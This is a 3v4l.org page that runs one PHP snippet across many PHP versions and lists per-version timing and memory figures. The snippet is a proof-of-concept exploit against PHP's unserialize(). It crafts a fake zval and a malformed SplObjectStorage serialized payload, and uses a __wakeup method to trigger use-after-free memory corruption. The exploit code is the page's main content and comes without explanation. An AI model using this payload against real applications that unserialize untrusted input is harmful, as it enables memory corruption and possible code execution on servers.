3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01116.88
8.3.50.0110.00316.22
8.3.40.0080.01218.73
8.3.30.0090.00618.59
8.3.20.0040.00420.34
8.3.10.0040.00421.69
8.3.00.0030.00519.97
8.2.180.0070.00725.92
8.2.170.0150.00019.09
8.2.160.0100.00722.96
8.2.150.0040.00425.66
8.2.140.0040.00424.66
8.2.130.0060.00321.11
8.2.120.0050.00326.35
8.2.110.0180.00620.73
8.2.100.0070.00417.78
8.2.90.0000.00817.61
8.2.80.0060.00618.71
8.2.70.0040.00417.63
8.2.60.0040.00717.38
8.2.50.0040.00417.50
8.2.40.0080.00017.63
8.2.30.0060.00320.63
8.2.20.0060.00317.67
8.2.10.0000.00818.15
8.2.00.0080.00018.07
8.1.280.0090.00925.92
8.1.270.0040.00424.66
8.1.260.0030.00628.09
8.1.250.0080.00028.09
8.1.240.0070.00319.09
8.1.230.0080.00417.89
8.1.220.0000.00817.74
8.1.210.0080.00018.77
8.1.200.0060.00317.35
8.1.190.0040.00417.35
8.1.180.0030.00518.10
8.1.170.0030.00518.84
8.1.160.0040.00420.79
8.1.150.0040.00418.84
8.1.140.0050.00319.64
8.1.130.0000.00717.66
8.1.120.0040.00417.51
8.1.110.0000.00717.52
8.1.100.0030.00617.48
8.1.90.0070.00017.54
8.1.80.0050.00317.47
8.1.70.0040.00417.30
8.1.60.0060.00317.61
8.1.50.0000.00917.53
8.1.40.0030.00617.56
8.1.30.0030.00617.70
8.1.20.0050.00317.51
8.1.10.0000.00717.52
8.1.00.0040.00417.47
8.0.300.0070.00018.77
8.0.290.0040.00416.75
8.0.280.0000.00718.47
8.0.270.0000.00817.33
8.0.260.0000.00717.14
8.0.250.0030.00316.90
8.0.240.0060.00016.96
8.0.230.0040.00416.95
8.0.220.0000.00716.91
8.0.210.0000.00716.88
8.0.200.0030.00317.00
8.0.190.0080.00017.02
8.0.180.0040.00416.86
8.0.170.0060.00316.90
8.0.160.0070.00016.89
8.0.150.0070.00016.85
8.0.140.0070.00016.93
8.0.130.0000.00613.35
8.0.120.0060.00316.89
8.0.110.0040.00417.05
8.0.100.0040.00416.84
8.0.90.0040.00416.86
8.0.80.0080.00816.89
8.0.70.0070.00016.95
8.0.60.0000.00716.80
8.0.50.0070.00016.85
8.0.30.0070.01017.15
8.0.20.0110.01017.40
8.0.10.0000.00817.01
8.0.00.0100.00916.78
7.4.330.0000.00516.67
7.4.320.0060.00016.67
7.4.300.0030.00316.63
7.4.290.0070.00016.54
7.4.280.0000.00916.60
7.4.270.0070.00016.65
7.4.260.0030.00316.45
7.4.250.0000.00716.41
7.4.240.0020.00516.61
7.4.230.0000.00816.43
7.4.220.0170.01016.57
7.4.210.0150.00316.58
7.4.200.0070.00016.63
7.4.160.0000.01816.47
7.4.150.0130.00517.40
7.4.140.0100.01317.86
7.4.130.0080.01116.68
7.4.120.0090.00916.45
7.4.110.0090.00916.72
7.4.100.0100.00716.54
7.4.90.0140.00316.75
7.4.80.0180.00019.39
7.4.70.0160.00616.84
7.4.60.0070.01016.62
7.4.50.0040.00816.70
7.4.40.0100.00716.66
7.4.30.0090.01016.60
7.4.10.0140.00315.27
7.4.00.0050.01114.99
7.3.330.0060.00013.21
7.3.320.0080.00013.46
7.3.310.0000.00816.39
7.3.300.0000.00816.27
7.3.290.0050.01216.38
7.3.280.0050.01416.36
7.3.270.0150.00417.40
7.3.260.0150.00316.55
7.3.250.0140.00416.47
7.3.240.0130.00616.42
7.3.230.0090.00916.61
7.3.210.0110.00516.54
7.3.200.0100.01316.52
7.3.190.0150.00316.50
7.3.180.0030.01216.45
7.3.170.0080.01016.67
7.3.160.0120.00616.22
7.3.130.0070.01115.13
7.3.120.0060.01314.84
7.3.110.0070.01314.96
7.3.100.0060.00915.13
7.3.90.0090.01214.94
7.3.80.0070.01314.87
7.3.70.0110.00415.00
7.3.60.0080.00414.76
7.3.50.0110.00314.87
7.3.40.0100.00314.88
7.3.30.0070.00414.55
7.3.20.0080.00816.71
7.3.10.0050.00716.68
7.3.00.0050.00716.67
7.2.330.0090.01316.50
7.2.320.0150.00616.65
7.2.310.0100.01416.74
7.2.300.0070.01016.52
7.2.290.0070.01116.75
7.2.260.0110.00815.04
7.2.250.0090.00915.16
7.2.240.0060.00915.11
7.2.230.0100.00714.84
7.2.220.0000.01714.93
7.2.210.0030.01315.27
7.2.200.0030.01015.14
7.2.190.0060.00915.07
7.2.180.0070.00714.84
7.2.170.0000.01415.05
7.2.160.0030.00614.95
7.2.150.0000.01416.79
7.2.140.0040.01116.86
7.2.130.0050.00916.91
7.2.120.0050.00916.89
7.2.110.0050.00816.88
7.2.100.0080.00516.84
7.2.90.0050.00816.90
7.2.80.0050.00816.87
7.2.70.0070.01016.82
7.2.60.0060.00816.97
7.2.50.0040.00816.91
7.2.40.0080.00716.96
7.2.30.0020.01116.92
7.2.20.0030.01116.82
7.2.10.0060.01016.89
7.2.00.0060.00717.55
7.1.330.0090.00615.86
7.1.320.0100.01015.78
7.1.310.0100.00615.84
7.1.300.0030.01115.81
7.1.290.0130.00015.80
7.1.280.0070.00415.66
7.1.270.0040.01115.92
7.1.260.0060.00615.79
7.1.250.0060.00515.71
7.1.240.0030.01015.56
7.1.230.0110.00415.94
7.1.220.0060.00615.91
7.1.210.0060.00315.64
7.1.200.0050.00615.65
7.1.190.0030.01215.92
7.1.180.0070.00715.80
7.1.170.0030.01315.82
7.1.160.0030.01015.86
7.1.150.0000.01315.95
7.1.140.0060.00615.91
7.1.130.0060.00915.88
7.1.120.0060.00615.91
7.1.110.0090.00315.85
7.1.100.0030.00716.92
7.1.90.0050.00515.57
7.1.80.0140.00415.77
7.1.70.0020.01316.51
7.1.60.0100.00817.48
7.1.50.0070.01116.42
7.1.40.0000.01315.63
7.1.30.0070.01015.78
7.1.20.0080.00315.85
7.1.10.0030.00715.84
7.1.00.0060.04119.12
7.0.330.0030.01115.28
7.0.320.0060.00615.54
7.0.310.0060.00915.41
7.0.300.0030.00915.29
7.0.290.0060.00915.48
7.0.280.0100.00615.43
7.0.270.0000.01115.33
7.0.260.0030.01215.30
7.0.250.0080.00815.32
7.0.240.0000.01015.58
7.0.230.0100.00315.59
7.0.220.0100.00715.53
7.0.210.0140.00415.60
7.0.200.0030.00516.18
7.0.190.0060.00615.48
7.0.180.0060.00915.50
7.0.170.0090.00615.48
7.0.160.0030.01015.43
7.0.150.0060.01015.38
7.0.140.0060.00615.54
7.0.130.0040.01115.46
7.0.120.0070.00715.42
7.0.110.0030.00515.16
7.0.100.0050.00515.40
7.0.90.0030.01015.14
7.0.80.0000.01415.27
7.0.70.0000.01215.54
7.0.60.0060.04517.57
7.0.50.0080.02816.58
7.0.40.0050.03817.00
7.0.30.0180.02316.84
7.0.20.0230.03916.85
7.0.10.0100.03916.90
7.0.00.0080.03816.75
5.6.400.0090.00314.50
5.6.390.0030.00614.38
5.6.380.0090.00614.52
5.6.370.0120.00314.15
5.6.360.0030.00814.23
5.6.350.0070.00714.36
5.6.340.0000.00914.32
5.6.330.0090.00014.55
5.6.320.0060.00314.42
5.6.310.0070.01014.68
5.6.300.0100.00314.36
5.6.290.0080.00614.75
5.6.280.0030.02317.86
5.6.270.0070.00714.18
5.6.260.0050.00514.63
5.6.250.0070.00714.41
5.6.240.0060.00614.37
5.6.230.0060.01114.16
5.6.220.0070.00314.37
5.6.210.0030.02917.51
5.6.200.0070.02116.33
5.6.190.0040.02517.55
5.6.180.1530.02317.59
5.6.170.0170.02617.57
5.6.160.0080.04217.41
5.6.150.0070.03316.29
5.6.140.0070.04016.46
5.6.130.0070.04216.49
5.6.120.0050.04717.78
5.6.110.0070.02517.70
5.6.100.0030.05217.79
5.6.90.0080.02717.64
5.6.80.0080.04117.45
5.6.70.0030.00914.46
5.6.60.0070.00714.16
5.6.50.0030.00914.11
5.6.40.0000.00914.44
5.6.30.0110.00414.58
5.6.20.0070.01014.21
5.6.10.0000.01714.21
5.6.00.0060.00614.34
5.5.380.0030.01314.37
5.5.370.0000.01514.46
5.5.360.0050.01014.06
5.5.350.0160.03517.42
5.5.340.0050.04016.23
5.5.330.0020.02417.31
5.5.320.0120.04517.59
5.5.310.0100.02917.35
5.5.300.0050.04316.22
5.5.290.0050.04516.31
5.5.280.0040.02417.79
5.5.270.0080.02717.76
5.5.260.0040.04917.64
5.5.250.0050.02517.35
5.5.240.0090.01817.35
5.5.230.0080.00414.34
5.5.220.0060.00314.19
5.5.210.0030.01014.29
5.5.200.0110.00714.00
5.5.190.0070.00714.34
5.5.180.0100.00614.45
5.5.170.0040.00414.15
5.5.160.0100.00314.59
5.5.150.0090.00614.18
5.5.140.0060.00914.39
5.5.130.0000.01414.05
5.5.120.0060.00614.27
5.5.110.0070.00714.10
5.5.100.0030.01014.43
5.5.90.0070.00314.38
5.5.80.0130.00014.41
5.5.70.0080.00314.13
5.5.60.0000.01414.24
5.5.50.0030.00514.27
5.5.40.0000.00914.34
5.5.30.0000.00913.94
5.5.20.0060.01014.33
5.5.10.0160.00014.31
5.5.00.0040.00714.21

preferences:
62.17 ms | 400 KiB | 5 Q